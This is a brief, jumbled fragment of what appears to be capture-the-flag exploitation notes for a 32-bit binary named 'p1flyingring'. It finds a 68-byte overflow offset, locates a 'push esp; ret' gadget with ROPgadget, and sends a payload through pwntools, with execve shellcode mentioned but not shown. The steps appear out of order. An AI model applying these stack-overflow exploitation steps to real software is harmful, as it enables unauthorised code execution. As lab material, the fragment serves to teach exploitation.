$ cyclic 100 $ run < pattern Offset = 0x44 (68 bytes). objdump -d p1flyingring | grep "jmp esp" → none in binary. Check libc or use push esp; ret :
p.send(payload) p.interactive()
$ ROPgadget --binary p1flyingring | grep "push esp" 0x0804858a : push esp ; ret Address: 0x0804858a . 32-bit execve shellcode (25 bytes): p1flyingring